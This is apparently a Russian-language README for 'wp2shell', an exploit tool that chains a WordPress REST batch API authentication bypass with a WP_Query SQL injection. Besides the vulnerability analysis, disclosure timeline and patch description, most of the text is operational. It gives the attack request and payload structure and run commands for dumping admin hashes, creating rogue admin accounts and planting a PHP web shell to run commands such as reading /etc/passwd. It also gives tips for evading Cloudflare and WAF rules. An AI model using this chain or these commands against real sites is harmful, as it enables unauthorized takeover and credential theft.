Pre-auth RCE proof-of-concept, объединяющий обход аутентификации WordPress REST batch API с SQL-инъекцией WP_Query для дампа хешей, добавления администраторов или установки веб-шелла.
Pre-Auth RCE PoC - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1
Только для авторизованного тестирования на проникновение и исследований в области безопасности. Запуск этого инструмента против систем без письменного разрешения является незаконным. Авторы не несут ответственности за неправомерное использование.
wp2shell — это proof-of-concept эксплойт, объединяющий две независимо обнаруженные уязвимости для достижения неаутентифицированного удалённого выполнения кода на непатченных установках WordPress.
| CVE | Компонент | Класс | Требуется аутентификация |
|---|
| CVE-2026-63030 | REST Batch API (WP_REST_Server) | Рассинхронизация массива → обход аутентификации | Нет |
| CVE-2026-60137 | WP_Query | SQL-инъекция через author__not_in | Нет (обходится вышеуказанной) |
Конечный результат: шелл на машине, создание вредоносной учётной записи администратора или дамп хеша учётных данных — всё это из одного неаутентифицированного POST-запроса.
Уязвимые версии: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Исправлено в: WordPress 6.9.5 / 7.0.2 (патч выпущен одновременно с координированным раскрытием)
WordPress 5.6 представил эндпоинт пакетной обработки по адресу /wp-json/batch/v1. Он позволяет аутентифицированным REST-клиентам объединять несколько подзапросов в один HTTP-обмен. Каждый подзапрос независимо валидируется и обрабатывается методом WP_REST_Server::serve_batch_request_v1().
Внутри serve_batch_request_v1() (упрощённо):
$requests = $data['requests'];
$responses = [];
$matches = [];
// === Цикл 1: Валидация ===
foreach ($requests as $i => $request) {
$parsed = wp_parse_url($request['path']);
if (is_wp_error($parsed) || $parsed === false) {
// Ошибка: добавляем WP_Error в $responses — но НЕ в $matches
$responses[] = $this->envelope_response(new WP_Error(...), false);
continue; // <─── пропускает добавление в $matches
}
// Успех: разрешаем аутентификацию/права для этого пути
$match = $this->match_route($parsed['path'], $request['method']);
$matches[] = $match; // <─── сохраняется по последовательному индексу массива
$responses[] = null; // <─── заполнитель по тому же индексу
}
// === Цикл 2: Отправка ===
foreach ($matches as $j => $match) {
// $j начинается с 0 — но если request[0] завершился ошибкой, $matches[0] на самом деле request[1]
$responses[$j] = $this->dispatch($match); // <─── отправляется с неправильным контекстом
}
Ожидается, что два массива ($responses и $matches) остаются синхронизированными — одна запись на подзапрос, одинаковый индекс. Когда подзапрос [0] не проходит wp_parse_url(), он добавляет запись в $responses, но не в $matches. После первого цикла:
$responses = [ WP_Error, null ] ← индекс 0 = ошибка, индекс 1 = заполнитель
$matches = [ match_for_req1 ] ← индекс 0 = match для request[1]
Затем цикл 2 отправляет $matches[0] и записывает результат в $responses[0]. Он отправляет request[1], но перезаписывает индекс 0 в responses — и, что критично, использует контекст прав, вычисленный в рамках обработки ошибки неудачного request[0], а не контекст прав для целевого эндпоинта.
Практический эффект: любой эндпоинт, требующий аутентификации (включая эндпоинты, выполняющие SQL-запросы), может быть вызван без учётных данных.
"path": "://\x00" # вызывает wp_parse_url() → false
Строка ://\x00 является допустимой строкой Python, но недопустимым URL в обёртке wp_parse_url() PHP (нулевой байт вызывает сбой парсинга, возвращая false, а не WP_Error, что делает проверку is_wp_error() бесполезной — только $parsed === false перехватывает это, и к этому моменту выравнивание массива уже нарушено).
author__not_in в WP_QueryREST API WordPress для записей (/wp/v2/posts) предоставляет параметр запроса author_exclude, который напрямую сопоставляется с аргументом author__not_in в WP_Query. WP_Query — это основная абстракция базы данных, используемая почти для каждого запроса контента в WordPress.
В WP_Query::parse_query() (упрощённо):
$author__not_in = $this->get('author__not_in');
if (is_array($author__not_in)) {
$author__not_in = array_map('absint', $author__not_in);
// absint() преобразует каждый элемент в безопасное неотрицательное целое число
}
// Если НЕ массив → этот блок полностью пропускается
// $author__not_in используется дословно в построителе запросов:
Далее в WP_Query::get_posts():
if (!empty($author__not_in)) {
$where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
// ^^^^^^^^^^^^^^^^
// сырая строка вставляется в SQL без экранирования
}
Санитизация срабатывает только когда $author__not_in является массивом. Система типов PHP определяет это на основе того, как пришло значение:
[1, 2, 3] → is_array() = true → санитизируется"1,2,3" (строку) → is_array() = false → не санитизируетсяREST-эндпоинт принимает author_exclude из строки запроса URL. Оно приходит как строка. WP_Query пропускает блок санитизации, и сырое значение интерполируется в SQL-условие WHERE.
Точка инъекции попадает в контекст NOT IN (...):
-- Обычный запрос:
WHERE post_author NOT IN (1)
-- С полезной нагрузкой: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)
Поскольку пакетный эндпоинт отправляет подзапрос как часть более крупного результата запроса, строки UNION возвращаются в теле JSON-ответа REST, что делает это Boolean/UNION слепым извлечением — без таймингов, без out-of-band.
Атакующий (без учётных данных)
│
▼
POST /wp-json/batch/v1
{
"requests": [
{ "path": "://\x00", "method": "GET" }, ← [1] некорректный URL: вызывает рассинхронизацию
{ "path": "/wp/v2/posts?author_exclude=
0 UNION SELECT ... FROM wp_users-- -", ← [2] полезная нагрузка SQLi
"method": "GET" }
]
}
│
▼
WP_REST_Server::serve_batch_request_v1()
├─ Request[0] не проходит wp_parse_url() → $responses[0] = WP_Error
│ НЕТ добавления в $matches
├─ Request[1] сопоставляется с маршрутом → $matches[0] = route
└─ Цикл 2 отправляет $matches[0] с неправильным контекстом аутентификации
│
▼
WP_Query получает author__not_in = "0 UNION SELECT ..."
├─ is_array() = false → санитизация пропущена
└─ Сырой SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
│
▼
MySQL выполняет UNION-запрос → данные wp_users в результате SELECT
│
▼
JSON-ответ REST содержит user_login + user_pass в полях записи
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Постэксплуатация (любое из): │
│ • Дамп хеша администратора → офлайн-взлом с hashcat │
│ • INSERT вредоносного администратора через stacked-запросы │
│ • SELECT ... INTO OUTFILE → PHP-вебшелл → доступ к ОС │
└─────────────────────────────────────────────────────────────┘
Python >= 3.8
requests
cloudscraper
Установка зависимостей:
pip install requests cloudscraper
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
[--cmd CMD] [--user USER] [--password PASSWORD]
[--prefix PREFIX] [--proxy PROXY]
[--no-interactive] [--debug] [--cookie COOKIE]
target
| Режим | Что делает |
|---|---|
detect | Определяет версию WP и проверяет наличие пакетного эндпоинта. Без эксплуатации. |
dump | Извлекает хеш пароля администратора через UNION SQLi. |
adduser | Создаёт новую учётную запись администратора через stacked INSERT-запросы. |
shell | Устанавливает PHP-вебшелл через SELECT INTO OUTFILE, затем переходит в интерактивный шелл. |
Только обнаружение — безопасно запускать при разведке:
python3 wp2shell.py https://target.com --mode detect
Дамп хеша администратора:
python3 wp2shell.py https://target.com --mode dump
Дамп с отладочным выводом (показывает сырые HTTP-ответы — полезно при наличии WAF):
python3 wp2shell.py https://target.com --mode dump --debug
Создание вредоносной учётной записи администратора:
python3 wp2shell.py https://target.com --mode adduser --user pentest_admin --password 'S3cur3P@ss!'
Установка шелла и переход в интерактивную консоль:
python3 wp2shell.py https://target.com --mode shell
Одноразовое выполнение команды (неинтерактивное):
python3 wp2shell.py https://target.com --mode shell --no-interactive --cmd "cat /etc/passwd"
Через прокси Burp:
python3 wp2shell.py https://target.com --mode dump --proxy http://127.0.0.1:8080
Обход Cloudflare с существующим cookie cf_clearance:
python3 wp2shell.py https://target.com --mode dump --cookie "cf_clearance=<value>"
Нестандартный префикс таблиц:
python3 wp2shell.py https://target.com --mode dump --prefix staging_
Инструмент по умолчанию использует cloudscraper, который имитирует TLS-отпечаток Chrome и автоматически решает JavaScript-задачу Cloudflare (режим iuam). Это покрывает большинство целей на shared-хостинге за Cloudflare.
Если цель использует управление ботами Cloudflare (__cf_bm) или у вас уже есть решённый cookie задачи, передайте его через --cookie "cf_clearance=...", чтобы использовать обычную сессию requests.
Пакетный эндпоинт имеет два зарегистрированных пути. Правила WAF часто блокируют стандартный путь (/wp-json/batch/v1), но пропускают устаревший путь с параметром запроса (/?rest_route=/batch/v1). Инструмент автоматически проверяет оба.
[-] Could not extract credentials
--debug, чтобы увидеть сырой JSON-ответ.--prefix. Многие установки используют wp_ (по умолчанию); некоторые используют пользовательские префиксы.content.rendered цели может быть отфильтрован. Попробуйте --mode adduser вместо этого.[-] OUTFILE failed
SELECT INTO OUTFILE требует привилегии MySQL FILE у пользователя БД. Это распространено на shared-хостинге, но обычно отключено на облачных/управляемых базах данных (RDS, Cloud SQL и т. д.).--mode dump, чтобы прочитать путь из конфигурационных файлов.[-] Target does not appear vulnerable
GET /wp-json/ и поищите /batch/v1 в ключе routes.WordPress 6.9.5 / 7.0.2 устранили обе CVE:
CVE-2026-63030: serve_batch_request_v1() теперь поддерживает единый унифицированный массив как для данных сопоставления, так и для ответов, устраняя рассинхронизацию индексов. Неудачные запросы отслеживаются по индексу в унифицированной структуре.
CVE-2026-60137: WP_Query::parse_query() теперь безусловно приводит author__not_in к массиву перед санитизацией, независимо от типа входных данных:
$author__not_in = array_map('absint', (array) $author__not_in);
| CVE | Оценка | Вектор |
|---|---|---|
| CVE-2026-63030 | 9.8 Critical | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVE-2026-60137 | 9.8 Critical | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Дата | Событие |
|---|---|
| 2026-05-14 | CVE-2026-60137 обнаружена во время пентеста |
| 2026-05-19 | Обнаружена CVE-2026-63030; цепочка подтверждена как pre-auth RCE |
| 2026-05-22 | Обе CVE сообщены команде безопасности WordPress через HackerOne |
| 2026-06-03 | Команда безопасности WordPress подтверждает и начинает разработку патча |
| 2026-07-08 | Патчи выпущены (WP 6.9.5 / 7.0.2) одновременно с координированным раскрытием |
| 2026-07-22 | PoC опубликован |
Этот инструмент предоставляется только для авторизованного тестирования безопасности и исследований.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
USE AT YOUR OWN RISK. FOR AUTHORIZED TESTING ONLY.
MIT License — см. LICENSE